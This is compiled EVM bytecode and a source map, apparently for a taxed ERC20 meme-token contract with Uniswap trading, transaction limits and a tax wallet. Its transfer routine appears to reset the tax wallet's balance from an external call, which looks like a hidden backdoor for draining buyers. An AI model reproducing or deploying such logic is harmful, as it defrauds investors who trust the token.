dacb4c659f2488d9081179091556107159030906107076009600a611777565b6104a090633b9aca00611786565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c91906117d2565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081291906117d2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561085f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088391906117d2565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71934306108cb816001600160a01b031660009081526001602052604090205490565b6000806108e06000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610948573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061096d91906117ef565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ea919061181d565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610529565b6001600160a01b038216610ac75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610529565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610529565b6001600160a01b038216610bee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610529565b60008111610c505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610529565b600080546001600160a01b03858116911614801590610c7d57506000546001600160a01b03848116911614155b1561100857610cae6064610ca8600954600c5411610c9d57600554610ca1565b6007545b85906112ff565b90611381565b601354909150600160b81b900460ff1615610d9d576011546001600160a01b03848116911614801590610cef57506012546001600160a01b03848116911614155b15610d9d57326000908152600460205260409020544311610d8a5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610529565b3260009081526004602052604090204390555b6012546001600160a01b038581169116148015610dc857506011546001600160a01b03848116911614155b8015610ded57506001600160a01b03831660009081526003602052604090205460ff16155b15610ed557600d54821115610e445760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610529565b600e5482610e67856001600160a01b031660009081526001602052604090205490565b610e71919061183f565b1115610ebf5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610529565b600c8054906000610ecf83611852565b91905055505b6012546001600160a01b038481169116148015610efb57506001600160a01b0384163014155b15610f5f57601354610f1990839086906001600160a01b03166113c3565b6013546001600160a01b0316600090815260016020526040902055600a54600c54610f5c91606491610ca89110610f5257600654610ca1565b60085485906112ff565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610f9657506012546001600160a01b038581169116145b8015610fab5750601354600160b01b900460ff165b8015610fb8575060105481115b8015610fc75750600b54600c54115b1561100657610fe9610fe484610fdf84600f54611457565b611457565b611185565b476802b5e3af16b188000081111561100457611004476103d0565b505b505b80156110825730600090815260016020526040902054611028908261146c565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110799085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110a590836114cb565b6001600160a01b0385166000908152600160205260409020556110ea6110cb83836114cb565b6001600160a01b0385166000908152600160205260409020549061146c565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61113485856114cb565b60405190815260200160405180910390a350505050565b6000818484111561116f5760405162461bcd60e51b81526004016105299190611554565b50600061117c848661186b565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cd576111cd61187e565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611226573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124a91906117d2565b8160018151811061125d5761125d61187e565b6001600160a01b0392831660209182029290920101526011546112839130911684610a04565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112bc908590600090869030904290600401611894565b600060405180830381600087803b1580156112d657600080fd5b505af11580156112ea573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826000036113115750600061041f565b600061131d8385611786565b90508261132a8583611905565b146104a95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610529565b60006104a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061150d565b6000816001600160a01b0316316000036113de5750826104a9565b60405163e6a4390560e01b81526001600160a01b0384811660048301528316602482018190529063e6a4390590604401602060405180830381865afa15801561142b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144f9190611927565b949350505050565b600081831161146657826104a9565b50919050565b600080611479838561183f565b9050838110156104a95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610529565b60006104a983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114b565b6000818361152e5760405162461bcd60e51b81526004016105299190611554565b50600061117c8486611905565b60006020828403121561154d57600080fd5b5035919050565b600060208083528351808285015260005b8181101561158157858101830151858201604001528201611565565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115b757600080fd5b50565b600080604083850312156115cd57600080fd5b82356115d8816115a2565b946020939093013593505050565b6000806000606084860312156115fb57600080fd5b8335611606816115a2565b92506020840135611616816115a2565b929592945050506040919091013590565b60006020828403121561163957600080fd5b81356104a9816115a2565b6000806040838503121561165757600080fd5b8235611662816115a2565b91506020830135611672816115a2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116ce5781600019048211156116b4576116b461167d565b808516156116c157918102915b93841c9390800290611698565b509250929050565b6000826116e55750600161041f565b816116f25750600061041f565b816001811461170857600281146117125761172e565b600191505061041f565b60ff8411156117235761172361167d565b50506001821b61041f565b5060208310610133831016604e8410600b8410161715611751575081810a61041f565b61175b8383611693565b806000190482111561176f5761176f61167d565b029392505050565b60006104a960ff8416836116d6565b808202811582820484141761041f5761041f61167d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156117e457600080fd5b81516104a9816115a2565b60008060006060848603121561180457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561182f57600080fd5b815180151581146104a957600080fd5b8082018082111561041f5761041f61167d565b6000600182016118645761186461167d565b5060010190565b8181038181111561041f5761041f61167d565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e45784516001600160a01b0316835293830193918301916001016118bf565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261192257634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561193957600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207246970334b6c27078b84f1cbfa483f68d32ab2ec01a1be85f7b0eb7d70e4b6c64736f6c63430008130033

Deployed Bytecode Sourcemap

3861:7980:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11026:100;;;;;;;;;;-1:-1:-1;11026:100:0;;;;;:::i;:::-;;:::i;:::-;;5703:83;;;;;;;;;;-1:-1:-1;5773:5:0;;;;;;;;;;;;-1:-1:-1;;;5773:5:0;;;;5703:83;;;;;;;:::i;:::-;;;;;;;;6538:161;;;;;;;;;;-1:-1:-1;6538:161:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;6538:161:0;1208:187:1;4855:41:0;;;;;;;;;;;;;;;;;;;1546:25:1;;;1534:2;1519:18;4855:41:0;1400:177:1;5889:95:0;;;;;;;;;;;;;:::i;10035:313::-;;;;;;;;;;-1:-1:-1;10035:313:0;;;;;:::i;:::-;;:::i;6143:83::-;;;;;;;;;;-1:-1:-1;6143:83:0;;4733:1;2185:36:1;;2173:2;2158:18;6143:83:0;2043:184:1;10670:348:0;;;;;;;;;;;;;:::i;6407:119::-;;;;;;;;;;-1:-1:-1;6407:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6500:18:0;6473:7;6500:18;;;:9;:18;;;;;;;6407:119;2855:148;;;;;;;;;;;;;:::i;10462:196::-;;;;;;;;;;;;;:::i;4741:49::-;;;;;;;;;;;;;;;;2641:79;;;;;;;;;;-1:-1:-1;2679:7:0;2706:6;2641:79;;-1:-1:-1;;;;;2706:6:0;;;2630:51:1;;2618:2;2603:18;2641:79:0;2484:203:1;4797:51:0;;;;;;;;;;;;;;;;5794:87;;;;;;;;;;-1:-1:-1;5866:7:0;;;;;;;;;;;;-1:-1:-1;;;5866:7:0;;;;5794:87;;6234:167;;;;;;;;;;-1:-1:-1;6234:167:0;;;;;:::i;:::-;;:::i;4903:48::-;;;;;;;;;;;;;;;;5227:39;;;;;;;;;;-1:-1:-1;5227:39:0;;;;-1:-1:-1;;;5227:39:0;;;;;;11134:667;;;:::i;5992:143::-;;;;;;;;;;-1:-1:-1;5992:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6100:18:0;;;6073:7;6100:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5992:143;11026:100;11090:10;;11082:36;;-1:-1:-1;;;;;11090:10:0;;;;11082:36;;;;;11111:6;;11090:10;11082:36;11090:10;11082:36;11111:6;11090:10;11082:36;;;;;;;;;;;;;;;;;;;;;11026:100;:::o;6538:161::-;6613:4;6630:39;2298:10;6653:7;6662:6;6630:8;:39::i;:::-;-1:-1:-1;6687:4:0;6538:161;;;;;:::o;5889:95::-;5942:7;4678:13;4733:1;4678:2;:13;:::i;:::-;4670:21;;:5;:21;:::i;:::-;5962:14;;5889:95;:::o;10035:313::-;10133:4;10150:36;10160:6;10168:9;10179:6;10150:9;:36::i;:::-;10197:121;10206:6;2298:10;10228:89;10266:6;10228:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10228:19:0;;;;;;:11;:19;;;;;;;;2298:10;10228:33;;;;;;;;;;:37;:89::i;:::-;10197:8;:121::i;:::-;-1:-1:-1;10336:4:0;10035:313;;;;;;:::o;10670:348::-;10734:10;;-1:-1:-1;;;;;10734:10:0;2298;-1:-1:-1;;;;;10720:24:0;;10712:33;;;;;;10795:4;10756:20;6500:18;;;:9;:18;;;;;;10815:14;;10812:73;;10843:30;10860:12;10843:16;:30::i;:::-;10914:21;10949:12;;10946:65;;10975:24;10988:10;10975:12;:24::i;2855:148::-;2768:6;;-1:-1:-1;;;;;2768:6:0;2298:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;;;;;;;;;2962:1:::1;2946:6:::0;;2925:40:::1;::::0;-1:-1:-1;;;;;2946:6:0;;::::1;::::0;2925:40:::1;::::0;2962:1;;2925:40:::1;2993:1;2976:19:::0;;-1:-1:-1;;;;;;2976:19:0::1;::::0;;2855:148::o;10462:196::-;2768:6;;-1:-1:-1;;;;;2768:6:0;2298:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;4678:13:::1;4733:1;4678:2;:13;:::i;:::-;4670:21;::::0;:5:::1;:21;:::i;:::-;10515:12;:22:::0;4678:13:::1;4733:1;4678:2;:13;:::i;:::-;4670:21;::::0;:5:::1;:21;:::i;:::-;10548:14;:22:::0;10581:20:::1;:26:::0;;-1:-1:-1;;;;10581:26:0::1;::::0;;10623:27:::1;4678:13;4733:1;4678:2;:13;:::i;:::-;4670:21;::::0;:5:::1;:21;:::i;:::-;10623:27;::::0;1546:25:1;;;1534:2;1519:18;10623:27:0::1;;;;;;;10462:196::o:0;6234:167::-;6312:4;6329:42;2298:10;6353:9;6364:6;6329:9;:42::i;11134:667::-;2768:6;;-1:-1:-1;;;;;2768:6:0;2298:10;2768:22;2760:67;;;;-1:-1:-1;;;2760:67:0;;;;;;;:::i;:::-;11206:11:::1;::::0;-1:-1:-1;;;11206:11:0;::::1;;;11205:12;11197:47;;;::::0;-1:-1:-1;;;11197:47:0;;5336:2:1;11197:47:0::1;::::0;::::1;5318:21:1::0;5375:2;5355:18;;;5348:30;5414:25;5394:18;;;5387:53;5457:18;;11197:47:0::1;5134:347:1::0;11197:47:0::1;11255:15;:80:::0;;-1:-1:-1;;;;;;11255:80:0::1;11292:42;11255:80:::0;;::::1;::::0;;;11346:58:::1;::::0;11363:4:::1;::::0;4678:13:::1;4733:1;4678:2;:13;:::i;:::-;4670:21;::::0;:5:::1;:21;:::i;11346:58::-;11449:15;;;;;;;;;-1:-1:-1::0;;;;;11449:15:0::1;-1:-1:-1::0;;;;;11449:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11431:55:0::1;;11495:4;11502:15;;;;;;;;;-1:-1:-1::0;;;;;11502:15:0::1;-1:-1:-1::0;;;;;11502:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11431:94;::::0;-1:-1:-1;;;;;;11431:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5972:15:1;;;11431:94:0::1;::::0;::::1;5954:34:1::0;6024:15;;6004:18;;;5997:43;5889:18;;11431:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11415:13;:110:::0;;-1:-1:-1;;;;;11415:110:0;;::::1;-1:-1:-1::0;;;;;;11415:110:0;;::::1;;::::0;;11536:15:::1;::::0;::::1;:31;11575:9;11594:4;11600:24;11594:4:::0;-1:-1:-1;;;;;6500:18:0;6473:7;6500:18;;;:9;:18;;;;;;;6407:119;11600:24:::1;11625:1;11627::::0;11629:7:::1;2679::::0;2706:6;-1:-1:-1;;;;;2706:6:0;;2641:79;11629:7:::1;11536:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11536:117:0;;;-1:-1:-1;;;;;6410:15:1;;;11536:117:0::1;::::0;::::1;6392:34:1::0;6442:18;;;6435:34;;;;6485:18;;;6478:34;;;;6528:18;;;6521:34;6592:15;;;6571:19;;;6564:44;11637:15:0::1;6624:19:1::0;;;6617:35;6326:19;;11536:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11671:13:0::1;::::0;11702:15:::1;::::0;11664:71:::1;::::0;-1:-1:-1;;;11664:71:0;;-1:-1:-1;;;;;11702:15:0;;::::1;11664:71;::::0;::::1;7148:51:1::0;-1:-1:-1;;7215:18:1;;;7208:34;11671:13:0;::::1;::::0;-1:-1:-1;11664:29:0::1;::::0;7121:18:1;;11664:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11746:11:0::1;:18:::0;;-1:-1:-1;;;;11775:18:0;-1:-1:-1;;;11775:18:0;;;11134:667::o;6707:335::-;-1:-1:-1;;;;;6800:19:0;;6792:68;;;;-1:-1:-1;;;6792:68:0;;7737:2:1;6792:68:0;;;7719:21:1;7776:2;7756:18;;;7749:30;7815:34;7795:18;;;7788:62;-1:-1:-1;;;7866:18:1;;;7859:34;7910:19;;6792:68:0;7535:400:1;6792:68:0;-1:-1:-1;;;;;6879:21:0;;6871:68;;;;-1:-1:-1;;;6871:68:0;;8142:2:1;6871:68:0;;;8124:21:1;8181:2;8161:18;;;8154:30;8220:34;8200:18;;;8193:62;-1:-1:-1;;;8271:18:1;;;8264:32;8313:19;;6871:68:0;7940:398:1;6871:68:0;-1:-1:-1;;;;;6950:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7002:32;;1546:25:1;;;7002:32:0;;1519:18:1;7002:32:0;;;;;;;6707:335;;;:::o;7050:2486::-;-1:-1:-1;;;;;7138:18:0;;7130:68;;;;-1:-1:-1;;;7130:68:0;;8545:2:1;7130:68:0;;;8527:21:1;8584:2;8564:18;;;8557:30;8623:34;8603:18;;;8596:62;-1:-1:-1;;;8674:18:1;;;8667:35;8719:19;;7130:68:0;8343:401:1;7130:68:0;-1:-1:-1;;;;;7217:16:0;;7209:64;;;;-1:-1:-1;;;7209:64:0;;8951:2:1;7209:64:0;;;8933:21:1;8990:2;8970:18;;;8963:30;9029:34;9009:18;;;9002:62;-1:-1:-1;;;9080:18:1;;;9073:33;9123:19;;7209:64:0;8749:399:1;7209:64:0;7301:1;7292:6;:10;7284:64;;;;-1:-1:-1;;;7284:64:0;;9355:2:1;7284:64:0;;;9337:21:1;9394:2;9374:18;;;9367:30;9433:34;9413:18;;;9406:62;-1:-1:-1;;;9484:18:1;;;9477:39;9533:19;;7284:64:0;9153:405:1;7284:64:0;7359:17;2706:6;;-1:-1:-1;;;;;7393:15:0;;;2706:6;;7393:15;;;;:32;;-1:-1:-1;2679:7:0;2706:6;-1:-1:-1;;;;;7412:13:0;;;2706:6;;7412:13;;7393:32;7389:1791;;;7454:76;7526:3;7454:67;7476:15;;7466:9;;:25;7465:55;;7506:14;;7465:55;;;7493:12;;7465:55;7454:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7551:20;;7442:88;;-1:-1:-1;;;;7551:20:0;;;;7547:508;;;7612:15;;-1:-1:-1;;;;;7598:30:0;;;7612:15;;7598:30;;;;:62;;-1:-1:-1;7646:13:0;;-1:-1:-1;;;;;7632:28:0;;;7646:13;;7632:28;;7598:62;7594:444;;;7752:9;7723:39;;;;:28;:39;;;;;;7796:12;-1:-1:-1;7687:250:0;;;;-1:-1:-1;;;7687:250:0;;9765:2:1;7687:250:0;;;9747:21:1;9804:2;9784:18;;;9777:30;9843:34;9823:18;;;9816:62;9914:34;9894:18;;;9887:62;-1:-1:-1;;;9965:19:1;;;9958:40;10015:19;;7687:250:0;9563:477:1;7687:250:0;7991:9;7962:39;;;;:28;:39;;;;;8004:12;7962:54;;7594:444;8083:13;;-1:-1:-1;;;;;8075:21:0;;;8083:13;;8075:21;:55;;;;-1:-1:-1;8114:15:0;;-1:-1:-1;;;;;8100:30:0;;;8114:15;;8100:30;;8075:55;:83;;;;-1:-1:-1;;;;;;8136:22:0;;;;;;:18;:22;;;;;;;;8134:24;8075:83;8071:313;;;8198:12;;8188:6;:22;;8180:60;;;;-1:-1:-1;;;8180:60:0;;10247:2:1;8180:60:0;;;10229:21:1;10286:2;10266:18;;;10259:30;10325:27;10305:18;;;10298:55;10370:18;;8180:60:0;10045:349:1;8180:60:0;8293:14;;8283:6;8267:13;8277:2;-1:-1:-1;;;;;6500:18:0;6473:7;6500:18;;;:9;:18;;;;;;;6407:119;8267:13;:22;;;;:::i;:::-;:40;;8259:79;;;;-1:-1:-1;;;8259:79:0;;10731:2:1;8259:79:0;;;10713:21:1;10770:2;10750:18;;;10743:30;10809:28;10789:18;;;10782:56;10855:18;;8259:79:0;10529:350:1;8259:79:0;8357:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8071:313;8409:13;;-1:-1:-1;;;;;8403:19:0;;;8409:13;;8403:19;:43;;;;-1:-1:-1;;;;;;8426:20:0;;8441:4;8426:20;;8403:43;8400:243;;;8506:10;;8489:28;;:6;;8500:4;;-1:-1:-1;;;;;8506:10:0;8489;:28::i;:::-;8477:10;;-1:-1:-1;;;;;8477:10:0;8467:21;;;;:9;:21;;;;;:50;8570:16;;8560:9;;8548:79;;8623:3;;8548:70;;-1:-1:-1;8559:58:0;;8602:15;;8559:58;;;8588:13;;8548:6;;:10;:70::i;:79::-;8536:91;;8400:243;8708:4;8659:28;6500:18;;;:9;:18;;;;;;8734:6;;-1:-1:-1;;;8734:6:0;;;;8733:7;:32;;;;-1:-1:-1;8752:13:0;;-1:-1:-1;;;;;8744:21:0;;;8752:13;;8744:21;8733:32;:47;;;;-1:-1:-1;8769:11:0;;-1:-1:-1;;;8769:11:0;;;;8733:47;:89;;;;;8805:17;;8784:20;:38;8733:89;:121;;;;;8836:18;;8826:9;;:28;8733:121;8729:440;;;8875:67;8892:49;8896:6;8903:37;8907:20;8928:11;;8903:3;:37::i;:::-;8892:3;:49::i;:::-;8875:16;:67::i;:::-;8990:21;9054:20;9033:41;;9030:124;;;9099:35;9112:21;9099:12;:35::i;:::-;8856:313;8729:440;7427:1753;7389:1791;9195:11;;9192:161;;9263:4;9245:24;;;;:9;:24;;;;;;:39;;9274:9;9245:28;:39::i;:::-;9238:4;9220:24;;;;:9;:24;;;;;;;:64;;;;9302:39;;-1:-1:-1;;;;;9302:39:0;;;;;;;9331:9;1546:25:1;;1534:2;1519:18;;1400:177;9302:39:0;;;;;;;;9192:161;-1:-1:-1;;;;;9379:15:0;;;;;;:9;:15;;;;;;:27;;9399:6;9379:19;:27::i;:::-;-1:-1:-1;;;;;9363:15:0;;;;;;:9;:15;;;;;:43;9431:40;9449:21;:6;9460:9;9449:10;:21::i;:::-;-1:-1:-1;;;;;9431:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9417:13:0;;;;;;;:9;:13;;;;;:54;;;;9487:41;;;9506:21;:6;9517:9;9506:10;:21::i;:::-;9487:41;;1546:25:1;;;1534:2;1519:18;9487:41:0;;;;;;;7119:2417;7050:2486;;;:::o;1212:190::-;1298:7;1334:12;1326:6;;;;1318:29;;;;-1:-1:-1;;;1318:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1358:9:0;1370:5;1374:1;1370;:5;:::i;:::-;1358:17;1212:190;-1:-1:-1;;;;;1212:190:0:o;9544:483::-;5357:6;:13;;-1:-1:-1;;;;5357:13:0;-1:-1:-1;;;5357:13:0;;;9646:16:::1;::::0;;9660:1:::1;9646:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9646:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9646:16:0::1;9622:40;;9691:4;9673;9678:1;9673:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9673:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9717:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9717:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9673:7;;9717:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9707:4;9712:1;9707:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9707:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9782:15:::1;::::0;9750:62:::1;::::0;9767:4:::1;::::0;9782:15:::1;9800:11:::0;9750:8:::1;:62::i;:::-;9823:15;::::0;:196:::1;::::0;-1:-1:-1;;;9823:196:0;;-1:-1:-1;;;;;9823:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9904:11;;9823:15:::1;::::0;9946:4;;9973::::1;::::0;9993:15:::1;::::0;9823:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5393:6:0;:14;;-1:-1:-1;;;;5393:14:0;;;-1:-1:-1;;;;9544:483:0:o;1595:246::-;1653:7;1677:1;1682;1677:6;1673:47;;-1:-1:-1;1707:1:0;1700:8;;1673:47;1730:9;1742:5;1746:1;1742;:5;:::i;:::-;1730:17;-1:-1:-1;1775:1:0;1766:5;1770:1;1730:17;1766:5;:::i;:::-;:10;1758:56;;;;-1:-1:-1;;;1758:56:0;;12830:2:1;1758:56:0;;;12812:21:1;12869:2;12849:18;;;12842:30;12908:34;12888:18;;;12881:62;-1:-1:-1;;;12959:18:1;;;12952:31;13000:19;;1758:56:0;12628:397:1;1849:132:0;1907:7;1934:39;1938:1;1941;1934:39;;;;;;;;;;;;;;;;;:3;:39::i;1408:179::-;1477:7;1501:1;-1:-1:-1;;;;;1501:9:0;;1514:1;1501:14;1497:31;;-1:-1:-1;1525:1:0;1518:8;;1497:31;1545:34;;-1:-1:-1;;;1545:34:0;;-1:-1:-1;;;;;5972:15:1;;;1545:34:0;;;5954::1;1545:28:0;;6004:18:1;;;5997:43;;;1545:28:0;;;5889:18:1;;1545:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1538:41;1408:179;-1:-1:-1;;;;1408:179:0:o;10356:98::-;10413:7;10440:1;10438;:3;10437:9;;10445:1;10437:9;;;-1:-1:-1;10443:1:0;10356:98;-1:-1:-1;10356:98:0:o;881:179::-;939:7;;971:5;975:1;971;:5;:::i;:::-;959:17;;1000:1;995;:6;;987:46;;;;-1:-1:-1;;;987:46:0;;13421:2:1;987:46:0;;;13403:21:1;13460:2;13440:18;;;13433:30;13499:29;13479:18;;;13472:57;13546:18;;987:46:0;13219:351:1;1068:136:0;1126:7;1153:43;1157:1;1160;1153:43;;;;;;;;;;;;;;;;;:3;:43::i;1989:189::-;2075:7;2110:12;2103:5;2095:28;;;;-1:-1:-1;;;2095:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2134:9:0;2146:5;2150:1;2146;:5;:::i;14:180:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:1;;14:180;-1:-1:-1;14:180:1:o;199:548::-;311:4;340:2;369;358:9;351:21;401:6;395:13;444:6;439:2;428:9;424:18;417:34;469:1;479:140;493:6;490:1;487:13;479:140;;;588:14;;;584:23;;578:30;554:17;;;573:2;550:26;543:66;508:10;;479:140;;;483:3;668:1;663:2;654:6;643:9;639:22;635:31;628:42;738:2;731;727:7;722:2;714:6;710:15;706:29;695:9;691:45;687:54;679:62;;;;199:548;;;;:::o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1582:456::-;1659:6;1667;1675;1728:2;1716:9;1707:7;1703:23;1699:32;1696:52;;;1744:1;1741;1734:12;1696:52;1783:9;1770:23;1802:31;1827:5;1802:31;:::i;:::-;1852:5;-1:-1:-1;1909:2:1;1894:18;;1881:32;1922:33;1881:32;1922:33;:::i;:::-;1582:456;;1974:7;;-1:-1:-1;;;2028:2:1;2013:18;;;;2000:32;;1582:456::o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:422;3306:1;3349:5;3306:1;3363:270;3384:7;3374:8;3371:21;3363:270;;;3443:4;3439:1;3435:6;3431:17;3425:4;3422:27;3419:53;;;3452:18;;:::i;:::-;3502:7;3492:8;3488:22;3485:55;;;3522:16;;;;3485:55;3601:22;;;;3561:15;;;;3363:270;;;3367:3;3217:422;;;;;:::o;3644:806::-;3693:5;3723:8;3713:80;;-1:-1:-1;3764:1:1;3778:5;;3713:80;3812:4;3802:76;;-1:-1:-1;3849:1:1;3863:5;;3802:76;3894:4;3912:1;3907:59;;;;3980:1;3975:130;;;;3887:218;;3907:59;3937:1;3928:10;;3951:5;;;3975:130;4012:3;4002:8;3999:17;3996:43;;;4019:18;;:::i;:::-;-1:-1:-1;;4075:1:1;4061:16;;4090:5;;3887:218;;4189:2;4179:8;4176:16;4170:3;4164:4;4161:13;4157:36;4151:2;4141:8;4138:16;4133:2;4127:4;4124:12;4120:35;4117:77;4114:159;;;-1:-1:-1;4226:19:1;;;4258:5;;411